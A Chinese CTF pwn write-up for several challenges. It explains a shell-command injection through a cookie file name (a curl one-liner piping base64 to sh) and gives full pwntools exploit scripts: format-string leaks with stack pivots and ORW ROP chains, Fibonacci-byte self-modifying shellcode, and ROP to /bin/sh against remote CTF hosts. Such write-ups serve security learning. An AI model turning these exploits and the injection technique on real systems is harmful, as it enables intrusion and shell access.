为期一周,中间夹杂着其他的事,做得蛮累的
什么?我不是汇编高手吗?
将输入指令以四字节为单位,用0xE9分割后执行
0xE9对应的汇编是短距离jmp,将后续四字节识别为偏移,然后跳转到rip + offset + 5的地址继续执行
精确计算的offset可以跳转到自定义四字节的开头,所以理论上可以任意不超过4字节汇编指令执行
没有PIE有后门函数,思路是将函数地址写入rax然后call rax,其中向rax写入地址需要拆成多步完成
def add(content):
global payload
payload += p32(0x1)
payload += content
add(p32(0x406a9090))
add(p32(0x58909090))
add(p32(0x9010e0c1))
add(p32(0x12110566))
add(p32(0x9090d0ff))
执行时像这样:
► 0x7c778587d000 jmp 0x7c778587d006 <0x7c778587d006>
↓
0x7c778587d006 nop
0x7c778587d007 nop
0x7c778587d008 push 0x40
0x7c778587d00a jmp 0x7c778587d010 <0x7c778587d010>
↓
0x7c778587d010 nop
0x7c778587d011 nop
0x7c778587d012 nop
0x7c778587d013 pop rax RAX => 0x40
0x7c778587d014 jmp 0x7c778587d01a <0x7c778587d01a>
↓
0x7c778587d01a shl eax, 0x10
0x7c778587d01d nop
0x7c778587d01e jmp 0x7c778587d024 <0x7c778587d024>
↓
0x7c778587d024 add ax, 0x1211 AX => 0x1211 (0x0 + 0x1211)
0x7c778587d028 jmp 0x7c778587d02e <0x7c778587d02e>
↓
0x7c778587d02e call rax <getshell+27>
Uni_check
一个go语言写的服务器,有两个功能,下载和检查
程序会在当前目录下存储cookie文件,可以自己指定内容(cookie文件名),检查功能会扫描文件内容是否合规,对于不合规的会执行删除,这里的逻辑是
delete_cmd = f"rm -f {self.base_dir}/{fname}"
删除指令是直接拼接的,于是通过;``&&一类的符号实现命令注入
还有go语言处理路径的问题,可以用../把文件写入上级目录
利用的思路是cat /flag到当前文件夹,然后下载下来的文件里就包含了flag,但是flag在根目录,有些字符如/是不能出现在文件名里的
最终的利用命令如下:
curl -v -b "session=../test.txt&&echo Y2F0IC9mbGFnID4gZmxhZ19vdXQ=|base64 -d|sh;.txt" http://nc1.ctfplus.cn:port
speak
沙箱环境的格式化字符串,前期比较正常一次泄露一次足够长的篡改,但是输出后直接用syscall退出,所以只好篡改printf的返回地址然后打orw
rop链是放在栈上的,需要利用一次栈迁移把返回地址改到rop链的开头,把返回地址放栈上,内容指向leave ret再改对应的rbp:
from pwn import *
context(arch="amd64", os="linux", log_level="debug", terminal=["tmux", "splitw", "-h"])
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#p = process("./pwn")
p = remote("nc1.ctfplus.cn" ,23124)
p.recvuntil(b"name:")
leak_payload = b"aaaabbbbccccddddeeeeffffgggghhhh%2$p %9$p %63$p?"
p.send(leak_payload)
output = p.recvuntil(b"?")
cleaned = output.replace(b"(nil)", b"0x0").strip(b"? \n")
parts = cleaned.split()
leaked_libc = int(parts[0], 16)
leaked_stack = int(parts[1], 16)
leaked_text = int(parts[2], 16)
printf_ret = leaked_stack - 0x6B8 + 0x5D8
buffer_addr = leaked_stack - 0xc8
libc_base = leaked_libc - 0x804643 + 0x660100 - libc.symbols["printf"]
leaked_main = leaked_text - 0x7d60 + 0x53dd
libc.address = libc_base
elf_base = leaked_main - elf.symbols["main"]
elf.address = elf_base
printf_addr = leaked_main - 0x3dd + 0x4af
again_addr = leaked_main - 0x3dd + 0x496
rop_libc = ROP(libc)
pop_rdi = rop_libc.find_gadget(["pop rdi", "ret"]).address
pop_rsi = rop_libc.find_gadget(["pop rsi", "ret"]).address
pop_rbp = rop_libc.find_gadget(["pop rbp", "ret"]).address
pop_rdx_leave = rop_libc.find_gadget(["pop rdx", "leave", "ret"]).address
pop_rdx_g = pop_rdx_leave
pop_rdx_extra = 0x0
rop_elf = ROP(elf)
leave_ret = rop_elf.find_gadget(["leave", "ret"]).address
open_addr = libc.symbols["open"]
read_addr = libc.symbols["read"]
write_addr = libc.symbols["write"]
bss_addr = elf.bss() + 0x800
rop_offset = 0x60
fake_rbp = buffer_addr + rop_offset - 0x10
writes = {printf_ret - 8: p16(fake_rbp & 0xFFFF), printf_ret: p16(leave_ret & 0xFFFF)}
fmt_payload = fmtstr_payload(6, writes, write_size="short", strategy="fast")
fmt_payload = fmt_payload.ljust(rop_offset, b"A")
stage1 = p64(bss_addr) #buffer_addr + 0x50
stage1 += p64(pop_rdi) + p64(buffer_addr + 0x100 - 0x28)
stage1 += p64(pop_rsi) + p64(0)
stage1 += p64(open_addr) + p64(pop_rdi) # 执行到open时,rdx为0,不用设置,返回值(文件描述符为3)
stage1 += p64(3) + p64(pop_rsi)
stage1 += p64(bss_addr) + p64(pop_rbp) + p64(buffer_addr + 0x100 - 0x40) + p64(pop_rdx_leave)
stage1 += p64(0x100) + p64(bss_addr + 0x110)
stage1 += p64(read_addr) + p64(printf_addr)
stage1 += b"./flag\x00" #到0x100
payload = fmt_payload + stage1
if len(payload) > 0x100:
raise ValueError("stage1 payload exceeds 0x100")
#gdb.attach(p)
p.send(payload)
log.success(f"buffer addr{hex(buffer_addr)}")
p.interactive()
格式化字符串还是一如既往地繁琐
smcode
任意输入执行,但是只能用斐波那契数列里的字节
光靠这些字节对应的指令肯定是无法getshell的,思路是借助al寄存器修改已写入的内容,动态构建出一些指令,最终来一个真正的任意读
GPT5.2给出了用于动态构建命令的神奇函数,由于是利用al完成所以如果拼出的指令对它有影响就会乱掉,好在本题只要触发read就好,可以手调
from pwn import *
context(arch="amd64", os="linux", log_level="debug", terminal=["tmux", "splitw", "-h"])
#p = process("./pwn")
p = remote("nc1.ctfplus.cn",42376)
p.recvuntil(b"Input your shellcode")
ALLOWED = {0x00, 0x01, 0x02, 0x03, 0x05, 0x08, 0x0D, 0x15, 0x22, 0x37, 0x59, 0x90, 0xE9}
ALLOWED_ADD = [0xE9, 0x90, 0x59, 0x37, 0x22, 0x15, 0x0D, 0x08, 0x05, 0x03, 0x02, 0x01]
READ_N = 0x59
def add_eax_imm8(v):
assert v in ALLOWED
return b"\x05" + bytes([v]) + b"\x00\x00\x00"
def reach_al(cur, target):
diff = (target - cur) & 0xFF
seq = []
for v in ALLOWED_ADD:
while diff >= v:
seq.append(v)
diff -= v
out = b"".join(add_eax_imm8(x) for x in seq)
return out, target
def patch_and_exec_base(base=0x90):
assert base in ALLOWED
return b"\x00\x05\x05\x00\x00\x00" + b"\xE9\x00\x00\x00\x00" + bytes([base])
def emit_exec_opcode(cur_al, opcode_byte, follow=b"", base=0x90, post_al=None):
need_al = (opcode_byte - base) & 0xFF
adj, cur_al = reach_al(cur_al, need_al)
out = adj + patch_and_exec_base(base=base) + follow
if post_al is not None:
cur_al = post_al & 0xFF
return out, cur_al
def emit_push_imm8(cur_al, imm8):
out, cur_al = emit_exec_opcode(cur_al, 0x6A)
out += bytes([imm8])
return out, cur_al
def emit_pop(cur_al, reg_pop_opcode, post_al=None):
return emit_exec_opcode(cur_al, reg_pop_opcode, post_al=post_al)
def pick_disp_at_least(min_len):
cands = [0x00, 0x01, 0x02, 0x03, 0x05, 0x08, 0x0D, 0x15, 0x22, 0x37, 0x59, 0x90, 0xE9]
for d in cands:
if d >= min_len:
return d
return 0xE9
cur_al = 0
stage1 = b""
# rsi = rbx
chunk, cur_al = emit_exec_opcode(cur_al, 0x53) # push rbx
stage1 += chunk
chunk, cur_al = emit_exec_opcode(cur_al, 0x5E) # pop rsi
stage1 += chunk
# rdx = READ_N (push imm8 会符号扩展,所以 imm8 必须 < 0x80)
chunk, cur_al = emit_push_imm8(cur_al, READ_N)
stage1 += chunk
chunk, cur_al = emit_pop(cur_al, 0x5A) # pop rdx
stage1 += chunk
# 设置 AL=2,用于把后面的 0D patch 成 0F
adj, cur_al = reach_al(cur_al, 0x02)
stage1 += adj
# 预计算:push 0; pop rax(pop rax 后 AL=0)
late = b""
late_chunk, _ = emit_push_imm8(cur_al, 0x00)
late += late_chunk
late_chunk, _ = emit_pop(cur_al, 0x80, post_al=0x00) # rax有异,0x80刚好可以拼成pop rax
late += late_chunk
# 选择一个允许的 disp,让 patch 指向 syscall 占位符的第一个字节
# patch 指令长度 6,目标 = patch_next_rip + disp
# 这里令 disp = padding + len(late)
disp = pick_disp_at_least(len(late))
padding = disp - len(late)
# add byte ptr [rip+disp], al (disp32 = disp)
stage1 += b"\x00\x05" + p32(disp)
# padding(不改寄存器)
stage1 += b"\x90" * padding
# rax=0,然后紧接着执行被 patch 的 syscall(read)
stage1 += late
# syscall 占位符(会被上面的 patch 从 0d05 变成 0f05)
stage1 += b"\x0D\x05"
# syscall 返回后:RAX == 实际读到的字节数(我们确保等于 READ_N)
cur_al = READ_N
# ret:栈顶在进入 shellcode 时就是 rbx,所以 ret 会跳到 rbx(stage2)
chunk, cur_al = emit_exec_opcode(cur_al, 0xC3)
stage1 += chunk
#gdb.attach(p)
p.send(stage1)
p.recvuntil(b"[+]")
stage2 = b"\x90" * 0x20 + asm(shellcraft.sh())
if len(stage2) > READ_N:
raise ValueError(f"stage2 too long: {len(stage2)} > {READ_N}")
stage2 = stage2.ljust(READ_N, b"\x90")
p.send(stage2)
p.interactive()
sur_prize
莫名奇妙的一道题,输入的第一个地址就覆盖了返回地址,导致无法设置rbp,栈迁移打不出来
虽然可以用pop rbp设置,但是输入函数居然是rsp寻址,而两个指令执行函数都是rbp寻址,这导致把rbp改到bss段之后没法往上任意写
发现直接跳转到0x401100处执行printf,恰好输出0字节,rax为0,然后跳转到一个借助rbp设置寄存器的syscall ret完成bss段任意写就好了
感觉printf这么用很莫名奇妙,这真是预期解吗
from pwn import *
context(arch="amd64", os="linux", log_level="debug", terminal=["tmux", "splitw", "-h"])
#p = process("./vuln")
p = remote("nc1.ctfplus.cn", 13092)
time.sleep(3)
bin_ls = 0x401657
bin_cat = 0x004016A2
bss_addr = 0x0404000 + 0x800
leave_ret = 0x00401399
gets_addr = 0x40174F
pop_rbp = 0x00040125d
printf = 0x00401100
sys1 = 0x00000040168e
sys = 0x000000401689
syscall = 0x0040169D
add_rsp_ret = 0x000401016
printf_addr = 0x004015DE
ret = 0x040101a
bin_sh = bss_addr + 0x68
p.send(b"a")
time.sleep(0.5)
# 栈迁移
payload = b""
#payload += p64(leave_ret)
payload += p64(pop_rbp)
payload += p64(bss_addr)
payload += p64(ret)
#payload += p64(bss_addr)
payload += p64(printf) #什么也不输出,然后把rax设置为0
#payload += p64(printf_addr)
payload += p64(sys1)
payload += p64(sys)
payload += p64(pop_rbp)
payload += p64(bss_addr + 0x20)
payload += p64(sys)
p.sendline(payload)
# get shell,懒得定位最后会落到哪个bin_sh上遂多复制了几个
p2 = b""
p2 += p64(pop_rbp)
p2 += p64(bss_addr)
p2 += p64(sys)
p2 += p64(0)
p2 += p64(0)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += b"/bin/sh\x00"
#gdb.attach(p)
time.sleep(0.5)
p.sendline(p2)
p.interactive()